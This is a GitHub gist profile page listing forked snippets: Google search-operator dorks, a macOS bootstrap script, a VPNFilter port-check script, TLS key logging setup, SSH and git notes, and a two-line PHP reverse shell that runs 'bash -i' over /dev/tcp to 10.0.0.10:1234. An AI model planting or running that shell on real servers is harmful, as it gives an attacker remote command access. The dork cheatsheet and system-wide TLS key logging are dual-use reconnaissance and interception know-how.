Skip to content

Instantly share code, notes, and snippets.

View chase2981's full-sized avatar

Chase Gibbons chase2981

View GitHub Profile
@chase2981
chase2981 / GoogleDorking.md
Created March 10, 2022 20:10 — forked from sundowndev/GoogleDorking.md
Google dork cheatsheet

Google dork cheatsheet

Search filters

Filter Description Example
allintext Searches for occurrences of all the keywords given. allintext:"keyword"
intext Searches for the occurrences of keywords all at once or one at a time. intext:"keyword"
inurl Searches for a URL matching one of the keywords. inurl:"keyword"
allinurl Searches for a URL matching all the keywords in the query. allinurl:"keyword"
intitle Searches for occurrences of keywords in title all or one. intitle:"keyword"
@chase2981
chase2981 / shell.php
Created March 8, 2022 20:16 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
@chase2981
chase2981 / osx-bootstrap.sh
Created February 1, 2022 05:49 — forked from zeekay/osx-bootstrap.sh
My Mac OSX bootstrap script.
#!/bin/sh
# Bootstrap new OSX system with common CLI utilities and scripts.
# Prereq:
# Install java from: http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
export PATH=~/.ellipsis/bin:/usr/local/bin:$PATH
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
@chase2981
chase2981 / Test-VPNFilterComebackPorts.ps1
Created January 14, 2022 07:02 — forked from sonjz/Test-VPNFilterComebackPorts.ps1
Powershell - VPNFilter PortScan
#Requires -RunAsAdministrator
# description: quick port scan for vulnerable VPNFilter for your router, you can specify router ip manually,
# by default it will hit the external IP of your router, which is what VPNFilter would be scanning
# author: github @sonjz
param(
[string]$routerIp = $null, # if not provided, it will perform a WhatsMyIp and scan that address
[int[]]$ports = @(23, 80, 2000, 8080), # current VPNFilter ports, http://forums.timewarnercable.com/t5/Connectivity/VPNFilter-Arris-TG1672/m-p/152563/highlight/true#M50525
[switch]$skipInstall = $false,
@chase2981
chase2981 / README.md
Created January 10, 2022 06:54 — forked from felixhammerl/README.md
Write TLS keys system-wide in macOS via SSLKEYLOGFILE and launchd
  1. Put tlskeylogger.plist at ~/Library/LaunchAgents/tlskeylogger.plist
  2. launchctl load ~/Library/LaunchAgents/tlskeylogger.plist, so it will load on the next restart
  3. launchctl start ~/Library/LaunchAgents/tlskeylogger.plist, so it will load the environment variable immediately
  4. Restart your browser(s)
  5. See how TLS keys are being written to ~/.tlskeyfile via tail -f ~/.tlskeyfile
@chase2981
chase2981 / ssh_multikeys.md
Created December 6, 2021 06:00 — forked from jmcaldera/ssh_multikeys.md
Multiple SSH Keys macOS

Multiple SSH Keys on same client

Check if you have existing keys by opening the terminal and entering: ssh-add -l OR ls -al ~/.ssh and check for any file called (usually) id_rsa or similar

Identify the host you're using your current key for. You probably added this key to, for example your github or gitlab account. We will use this later on.

If you don't have a config file on ~/.ssh folder, you will need to create one. We'll get back to this later.

@chase2981
chase2981 / Sierra.md
Created November 26, 2021 07:47 — forked from miku/Sierra.md
MacOS Sierra App Store Link
@chase2981
chase2981 / reset_osx_attributes.sh
Created November 19, 2021 07:27 — forked from kennwhite/reset_osx_attributes.sh
Remove all extended attributes recursively on an OSX directory & files and fix "chown: ... Operation not permitted" and "chmod: ... Operation not permitted"
# This is the nuclear option. Use with extreme care
# Works up to and including Mountain Lion (10.8.x)
# Show all extended attributes
ls -lOe ~/dir-to-fix
# Remove no-change attributes
sudo chflags nouchg ~/dir-to-fix
# Recursively clear all entended attributes
import React, { Component, createElement } from "react";
import Enzyme, { shallow, render, mount } from "enzyme";
import Adapter from "enzyme-adapter-react-16";
import { action, observable, computed } from "mobx";
import { observer } from "mobx-react";
Enzyme.configure({ adapter: new Adapter() });
class Store {
@observable val = 0;
}
@chase2981
chase2981 / get-latest-tag-on-git.sh
Created September 9, 2021 23:41 — forked from rponte/get-latest-tag-on-git.sh
Getting latest tag on git repository
# The command finds the most recent tag that is reachable from a commit.
# If the tag points to the commit, then only the tag is shown.
# Otherwise, it suffixes the tag name with the number of additional commits on top of the tagged object
# and the abbreviated object name of the most recent commit.
git describe
# With --abbrev set to 0, the command can be used to find the closest tagname without any suffix:
git describe --abbrev=0
# other examples